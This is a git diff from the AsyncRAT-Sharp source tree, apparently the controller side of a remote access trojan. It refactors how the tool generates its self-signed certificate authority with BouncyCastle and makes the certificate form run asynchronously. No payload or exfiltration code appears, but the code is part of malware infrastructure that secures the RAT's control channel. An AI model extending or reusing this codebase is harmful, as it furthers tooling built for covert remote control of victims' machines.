diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj index 29fa915..b92d1f3 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj @@ -187,6 +187,7 @@ + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.Designer.cs index 4051e02..f73287c 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.Designer.cs @@ -54,7 +54,7 @@ this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(149, 39); this.button1.TabIndex = 2; - this.button1.Text = "Ok"; + this.button1.Text = "OK"; this.button1.UseVisualStyleBackColor = true; this.button1.Click += new System.EventHandler(this.Button1_Click); // diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.cs index 2c199bc..6ca3a29 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.cs @@ -1,16 +1,6 @@ using System; using System.Threading.Tasks; using System.Windows.Forms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Operators; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Prng; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Extension; using System.Security.Cryptography.X509Certificates; using System.IO; using System.IO.Compression; @@ -43,75 +33,7 @@ namespace AsyncRAT_Sharp.Forms } } - public static X509Certificate2 CreateCertificate(string certName, X509Certificate2 ca, int keyStrength) - { - // github.com/quasar/QuasarRAT/blob/master/Quasar.Server/Helper/CertificateHelper.cs - var caCert = DotNetUtilities.FromX509Certificate(ca); - var random = new SecureRandom(new CryptoApiRandomGenerator()); - var keyPairGen = new RsaKeyPairGenerator(); - keyPairGen.Init(new KeyGenerationParameters(random, keyStrength)); - AsymmetricCipherKeyPair keyPair = keyPairGen.GenerateKeyPair(); - - var certificateGenerator = new X509V3CertificateGenerator(); - - var CN = new X509Name("CN=" + certName); - var SN = BigInteger.ProbablePrime(120, random); - - certificateGenerator.SetSerialNumber(SN); - certificateGenerator.SetSubjectDN(CN); - certificateGenerator.SetIssuerDN(caCert.IssuerDN); - certificateGenerator.SetNotAfter(DateTime.MaxValue); - certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(1, 0, 0, 0))); - certificateGenerator.SetPublicKey(keyPair.Public); - certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keyPair.Public)); - certificateGenerator.AddExtension(X509Extensions.AuthorityKeyIdentifier, false, new AuthorityKeyIdentifierStructure(caCert.GetPublicKey())); - - var caKeyPair = DotNetUtilities.GetKeyPair(ca.PrivateKey); - - ISignatureFactory signatureFactory = new Asn1SignatureFactory("SHA512WITHRSA", caKeyPair.Private, random); - - var certificate = certificateGenerator.Generate(signatureFactory); - - certificate.Verify(caCert.GetPublicKey()); - - var certificate2 = new X509Certificate2(DotNetUtilities.ToX509Certificate(certificate)); - certificate2.PrivateKey = DotNetUtilities.ToRSA(keyPair.Private as RsaPrivateCrtKeyParameters); - - return certificate2; - } - - public static X509Certificate2 CreateCertificateAuthority(string caName, int keyStrength) - { - var random = new SecureRandom(new CryptoApiRandomGenerator()); - var keyPairGen = new RsaKeyPairGenerator(); - keyPairGen.Init(new KeyGenerationParameters(random, keyStrength)); - AsymmetricCipherKeyPair keypair = keyPairGen.GenerateKeyPair(); - - var certificateGenerator = new X509V3CertificateGenerator(); - - var CN = new X509Name("CN=" + caName); - var SN = BigInteger.ProbablePrime(120, random); - - certificateGenerator.SetSerialNumber(SN); - certificateGenerator.SetSubjectDN(CN); - certificateGenerator.SetIssuerDN(CN); - certificateGenerator.SetNotAfter(DateTime.MaxValue); - certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(2, 0, 0, 0))); - certificateGenerator.SetPublicKey(keypair.Public); - certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keypair.Public)); - certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(true)); - - ISignatureFactory signatureFactory = new Asn1SignatureFactory("SHA512WITHRSA", keypair.Private, random); - - var certificate = certificateGenerator.Generate(signatureFactory); - - var certificate2 = new X509Certificate2(DotNetUtilities.ToX509Certificate(certificate)); - certificate2.PrivateKey = DotNetUtilities.ToRSA(keypair.Private as RsaPrivateCrtKeyParameters); - - return certificate2; - } - - private void Button1_Click(object sender, EventArgs e) + private async void Button1_Click(object sender, EventArgs e) { try { @@ -119,18 +41,36 @@ namespace AsyncRAT_Sharp.Forms button1.Text = "Please wait"; button1.Enabled = false; - - string backup = Application.StartupPath + "\\BackupCertificate.zip"; - Settings.ServerCertificate = CreateCertificateAuthority(textBox1.Text, 4096); - File.WriteAllBytes(Settings.CertificatePath, Settings.ServerCertificate.Export(X509ContentType.Pkcs12)); - - using (ZipArchive archive = ZipFile.Open(backup, ZipArchiveMode.Create)) + textBox1.Enabled = false; + await Task.Run(() => { - archive.CreateEntryFromFile(Settings.CertificatePath, Path.GetFileName(Settings.CertificatePath)); - } - MessageBox.Show(this, "Created a ZIP backup (BackupCertificate.zip)", "Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information); - MessageBox.Show(this, "If you want to use an updated version of AsyncRAT, remember to copy+paste your certificate", "Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information); - this.Close(); + try + { + string backup = Application.StartupPath + "\\BackupCertificate.zip"; + Settings.ServerCertificate = Helper.CreateCertificate.CreateCertificateAuthority(textBox1.Text, 4096); + File.WriteAllBytes(Settings.CertificatePath, Settings.ServerCertificate.Export(X509ContentType.Pkcs12)); + + using (ZipArchive archive = ZipFile.Open(backup, ZipArchiveMode.Create)) + { + archive.CreateEntryFromFile(Settings.CertificatePath, Path.GetFileName(Settings.CertificatePath)); + } + Program.form1.listView1.BeginInvoke((MethodInvoker)(() => + { + MessageBox.Show(this, "If you want to use an updated version of AsyncRAT, remember to copy+paste your certificate", "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Information); + this.Close(); + })); + } + catch (Exception ex) + { + Program.form1.listView1.BeginInvoke((MethodInvoker)(() => + { + MessageBox.Show(this, ex.Message, "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); + button1.Text = "OK"; + button1.Enabled = true; + textBox1.Enabled = true; + })); + } + }); } catch (Exception ex) { @@ -139,5 +79,6 @@ namespace AsyncRAT_Sharp.Forms button1.Enabled = true; } } + } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/CreateCertificate.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/CreateCertificate.cs new file mode 100644 index 0000000..dec34f1 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/CreateCertificate.cs @@ -0,0 +1,53 @@ +using Org.BouncyCastle.Asn1.X509; +using Org.BouncyCastle.Crypto; +using Org.BouncyCastle.Crypto.Generators; +using Org.BouncyCastle.Crypto.Operators; +using Org.BouncyCastle.Crypto.Parameters; +using Org.BouncyCastle.Crypto.Prng; +using Org.BouncyCastle.Math; +using Org.BouncyCastle.Security; +using Org.BouncyCastle.X509; +using Org.BouncyCastle.X509.Extension; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading.Tasks; + +namespace AsyncRAT_Sharp.Helper +{ + public static class CreateCertificate + { + public static X509Certificate2 CreateCertificateAuthority(string caName, int keyStrength) + { + var random = new SecureRandom(new CryptoApiRandomGenerator()); + var keyPairGen = new RsaKeyPairGenerator(); + keyPairGen.Init(new KeyGenerationParameters(random, keyStrength)); + AsymmetricCipherKeyPair keypair = keyPairGen.GenerateKeyPair(); + + var certificateGenerator = new X509V3CertificateGenerator(); + + var CN = new X509Name("CN=" + caName); + var SN = BigInteger.ProbablePrime(120, random); + + certificateGenerator.SetSerialNumber(SN); + certificateGenerator.SetSubjectDN(CN); + certificateGenerator.SetIssuerDN(CN); + certificateGenerator.SetNotAfter(DateTime.MaxValue); + certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(2, 0, 0, 0))); + certificateGenerator.SetPublicKey(keypair.Public); + certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keypair.Public)); + certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(true)); + + ISignatureFactory signatureFactory = new Asn1SignatureFactory("SHA512WITHRSA", keypair.Private, random); + + var certificate = certificateGenerator.Generate(signatureFactory); + + var certificate2 = new X509Certificate2(DotNetUtilities.ToX509Certificate(certificate)); + certificate2.PrivateKey = DotNetUtilities.ToRSA(keypair.Private as RsaPrivateCrtKeyParameters); + + return certificate2; + } + } +}